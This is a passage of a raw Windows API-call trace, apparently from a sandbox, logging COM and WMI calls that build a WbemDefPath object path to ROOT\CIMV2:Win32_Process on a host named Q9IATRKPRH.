riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0086.407] WbemDefPath:IUnknown:AddRef (This=0x1bf3bd00) returned 0x3 [0086.407] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bd00, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0086.407] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bd00, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0086.408] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bd00, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bf11320) returned 0x0 [0086.408] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf11320, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0086.408] WbemDefPath:IUnknown:Release (This=0x1bf11320) returned 0x3 [0086.408] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0086.408] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0086.408] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bd00, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0086.408] WbemDefPath:IUnknown:Release (This=0x1bf3bd00) returned 0x2 [0086.408] WbemDefPath:IUnknown:Release (This=0x1bf3bd00) returned 0x1 [0086.408] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0086.408] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0086.408] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bd00, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bf3bd00) returned 0x0 [0086.408] WbemDefPath:IUnknown:AddRef (This=0x1bf3bd00) returned 0x3 [0086.408] WbemDefPath:IUnknown:Release (This=0x1bf3bd00) returned 0x2 [0086.408] WbemDefPath:IWbemPath:SetText (This=0x1bf3bd00, uMode=0x4, pszPath="") returned 0x0 [0086.408] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0086.408] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0086.409] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0086.409] IUnknown:Release (This=0x111f638) returned 0x1 [0086.411] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bf11520) returned 0x0 [0086.411] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf11520, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0086.411] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf11520, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bf3bdc0) returned 0x0 [0086.411] WbemDefPath:IUnknown:Release (This=0x1bf11520) returned 0x0 [0086.411] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bdc0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bf3bdc0) returned 0x0 [0086.411] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bdc0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0086.412] WbemDefPath:IUnknown:AddRef (This=0x1bf3bdc0) returned 0x3 [0086.412] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bdc0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0086.412] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bdc0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0086.412] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bdc0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bf11300) returned 0x0 [0086.412] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf11300, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0086.412] WbemDefPath:IUnknown:Release (This=0x1bf11300) returned 0x3 [0086.412] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0086.412] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0086.412] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bdc0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0086.412] WbemDefPath:IUnknown:Release (This=0x1bf3bdc0) returned 0x2 [0086.412] WbemDefPath:IUnknown:Release (This=0x1bf3bdc0) returned 0x1 [0086.412] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0086.412] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0086.413] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bdc0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bf3bdc0) returned 0x0 [0086.413] WbemDefPath:IUnknown:AddRef (This=0x1bf3bdc0) returned 0x3 [0086.413] WbemDefPath:IUnknown:Release (This=0x1bf3bdc0) returned 0x2 [0086.413] WbemDefPath:IWbemPath:SetText (This=0x1bf3bdc0, uMode=0x4, pszPath="") returned 0x0 [0086.413] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3bdc0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0086.413] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3bd00, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0086.413] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bf3bdc0, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0086.413] WbemDefPath:IWbemPath:GetServer (in: This=0x1bf3bdc0, puNameBufLength=0x1b2fd928*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd928*=0x0, pName=0x0) returned 0x80041009 [0086.413] WbemDefPath:IWbemPath:SetServer (This=0x1bf3bdc0, Name="Q9IATRKPRH") returned 0x0 [0086.413] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0086.413] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0086.413] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0086.413] IUnknown:Release (This=0x111f638) returned 0x1 [0086.415] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bf11260) returned 0x0 [0086.416] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf11260, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0086.416] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf11260, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bf3be80) returned 0x0 [0086.416] WbemDefPath:IUnknown:Release (This=0x1bf11260) returned 0x0 [0086.416] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3be80, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bf3be80) returned 0x0 [0086.416] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3be80, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0086.416] WbemDefPath:IUnknown:AddRef (This=0x1bf3be80) returned 0x3 [0086.416] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3be80, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0086.426] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3be80, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0086.426] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3be80, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bf111a0) returned 0x0 [0086.426] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf111a0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0086.426] WbemDefPath:IUnknown:Release (This=0x1bf111a0) returned 0x3 [0086.426] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0086.427] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0086.427] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3be80, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0086.427] WbemDefPath:IUnknown:Release (This=0x1bf3be80) returned 0x2 [0086.427] WbemDefPath:IUnknown:Release (This=0x1bf3be80) returned 0x1 [0086.427] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0086.427] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0086.427] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3be80, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bf3be80) returned 0x0 [0086.428] WbemDefPath:IUnknown:AddRef (This=0x1bf3be80) returned 0x3 [0086.428] WbemDefPath:IUnknown:Release (This=0x1bf3be80) returned 0x2 [0086.428] WbemDefPath:IWbemPath:SetText (This=0x1bf3be80, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0086.428] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3bdc0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0086.428] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3be80, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0086.428] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3be80, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0086.429] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3be80, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0086.429] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bf3bdc0) returned 0x0 [0086.429] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3be80, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0086.429] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3be80, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0086.429] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3be80, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="ROOT") returned 0x0 [0086.429] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bf3bdc0, uIndex=0x0, pszName="ROOT") returned 0x0 [0086.429] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3be80, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0086.429] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3be80, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="CIMV2") returned 0x0 [0086.429] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bf3bdc0, uIndex=0x1, pszName="CIMV2") returned 0x0 [0086.429] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bf3bdc0, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0086.429] WbemDefPath:IWbemPath:SetClassName (This=0x1bf3bdc0, Name="Win32_Process") returned 0x0 [0086.429] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf3bdc0, uRequestedInfo=0x0, puResponse=0x1b2fda08 | out: puResponse=0x1b2fda08*=0x20c16) returned 0x0 [0086.430] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3bdc0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0086.430] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3bdc0, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x26, pszText=0x0) returned 0x0 [0086.430] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3bdc0, lFlags=4, puBuffLength=0x1b2fd958*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0086.430] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf3bdc0, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0x20c16) returned 0x0 [0086.430] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3bdc0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0086.430] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3bdc0, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x18, pszText=0x0) returned 0x0 [0086.430] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3bdc0, lFlags=8, puBuffLength=0x1b2fd958*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0086.430] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3a800, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0086.430] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3a800, lFlags=16, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xb, pszText=0x0) returned 0x0 [0086.430] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3a800, lFlags=16, puBuffLength=0x1b2fd958*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd958*=0xb, pszText="root\\cimv2") returned 0x0 [0086.430] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3bdc0, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0086.430] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3bdc0, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0086.431] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8b8 | out: ppv=0x1b2fd8b8*=0x111f638) returned 0x0 [0086.431] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8a8 | out: pAptType=0x1b2fd8a8*=1) returned 0x0 [0086.431] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8b0 | out: ppvObject=0x1b2fd8b0*=0x0) returned 0x80004002 [0086.431] IUnknown:Release (This=0x111f638) returned 0x1 [0086.434] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccd0 | out: ppv=0x1b2fccd0*=0x1bf10c20) returned 0x0 [0086.434] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf10c20, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x0) returned 0x80004002 [0086.434] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf10c20, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fccc8 | out: ppvObject=0x1b2fccc8*=0x1bf3c000) returned 0x0 [0086.434] WbemDefPath:IUnknown:Release (This=0x1bf10c20) returned 0x0 [0086.435] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c000, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcad8 | out: ppvObject=0x1b2fcad8*=0x1bf3c000) returned 0x0 [0086.435] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c000, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb80 | out: ppvObject=0x1b2fcb80*=0x0) returned 0x80004002 [0086.435] WbemDefPath:IUnknown:AddRef (This=0x1bf3c000) returned 0x3 [0086.435] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c000, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc228 | out: ppvObject=0x1b2fc228*=0x0) returned 0x80004002 [0086.435] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c000, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1b0 | out: ppvObject=0x1b2fc1b0*=0x0) returned 0x80004002 [0086.435] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c000, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1a0 | out: ppvObject=0x1b2fc1a0*=0x1bf10bc0) returned 0x0 [0086.435] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf10bc0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1c8 | out: 